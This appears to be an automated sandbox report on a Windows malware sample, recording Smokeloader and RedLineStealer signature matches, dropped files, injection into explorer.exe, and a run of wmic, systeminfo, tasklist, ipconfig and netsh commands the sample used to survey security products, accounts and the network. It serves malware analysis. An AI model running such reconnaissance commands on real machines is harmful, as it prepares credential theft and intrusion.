Source: 00000004.00000002.2365295307.0000000002631000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.2141528306.00000000040E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000006.00000002.2655758710.00000000040F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000007.00000002.2900388143.00000000024A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.2138650769.0000000002600000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.2139720397.000000000265D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000006.00000002.2655596562.000000000266D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2138710138.0000000002610000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000006.00000002.2655384170.0000000002620000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000007.00000002.2900412124.00000000024B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000006.00000002.2655265915.00000000024E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000004.00000002.2365221336.0000000002520000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000004.00000002.2365240792.0000000002530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000007.00000002.2900483247.00000000025B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@61/15@5/4

Source: C:\Users\user\Desktop\KTh1gQlT9a.exe

Code function: 0_2_0266F92E CreateToolhelp32Snapshot,Module32First,

0_2_0266F92E

Source: C:\Users\user\AppData\Local\Temp\B575.exe

Code function: 8_2_00007FF7CB877138 CoInitializeEx,CoInitializeSecurity,CoCreateInstance,

8_2_00007FF7CB877138

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\esjbbri

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\E647.tmp

Jump to behavior

Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior

Source: KTh1gQlT9a.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\B575.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\B575.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Process
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name, DeviceID, NumberOfCores FROM Win32_Processor
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Caption, CommandLine, ExecutablePath, ProcessId FROM Win32_Process
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="4"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="92"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="332"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="420"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="496"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="504"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="564"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="632"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="640"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="752"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="780"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="788"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="872"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="924"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="992"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="444"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="732"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="280"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1032"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1056"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1068"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1148"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1188"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1232"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1324"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1384"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1416"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1424"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1460"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1584"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1612"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1660"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1688"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1700"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1820"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1836"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1936"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1944"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1952"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2024"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2096"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2152"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2188"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2204"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2240"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2392"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2400"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2440"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2484"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2492"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2528"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2588"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2596"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2628"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2768"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2868"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2932"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3260"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3512"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3696"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3756"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3984"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2456"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="4132"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="4800"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="4572"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="5152"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="5932"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="6708"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="6792"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="6836"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="6960"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="3584"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="5864"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2672"::GetOwner

Source: C:\Windows\explorer.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\KTh1gQlT9a.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 6D5F.tmp.9.dr, 69D1.tmp.9.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: KTh1gQlT9a.exe

ReversingLabs: Detection: 34%

Source: unknown	Process created: C:\Users\user\Desktop\KTh1gQlT9a.exe "C:\Users\user\Desktop\KTh1gQlT9a.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\esjbbri C:\Users\user\AppData\Roaming\esjbbri
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\E647.exe C:\Users\user\AppData\Local\Temp\E647.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\uejbbri C:\Users\user\AppData\Roaming\uejbbri
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B575.exe C:\Users\user\AppData\Local\Temp\B575.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Users\user\Desktop\KTh1gQlT9a.exe	Process created: C:\Windows\System32\cmd.exe cmd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /format:csv
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path AntiSpywareProduct Get displayName /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Processor Get Name,DeviceID,NumberOfCores /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Product Get Name,Version /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_NetworkAdapter Where PhysicalAdapter=TRUE Get Name,MACAddress,ProductName,ServiceName,NetConnectionID /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_StartupCommand Get Name,Location,Command /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_OperatingSystem Get Caption,CSDVersion,BuildNumber,Version,BuildType,CountryCode,CurrentTimeZone,InstallDate,LastBootUpTime,Locale,OSArchitecture,OSLanguage,OSProductSuite,OSType,SystemDirectory,Organization,RegisteredUser,SerialNumber /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Process Get Caption,CommandLine,ExecutablePath,ProcessId /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Volume Get Name,Label,FileSystem,SerialNumber,BootVolume,Capacity,DriveType /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_UserAccount Get Name,Domain,AccountType,LocalAccount,Disabled,Status,SID /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_GroupUser Get GroupComponent,PartComponent /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_ComputerSystem Get Caption,Manufacturer,PrimaryOwnerName,UserName,Workgroup /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_PnPEntity Where ClassGuid="{50dd5230-ba8a-11d1-bf5d-0000f805f530}" Get Name,DeviceID,PNPDeviceID,Manufacturer,Description /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /displaydns
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /v /fo csv
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\E647.exe C:\Users\user\AppData\Local\Temp\E647.exe	Jump to behavior
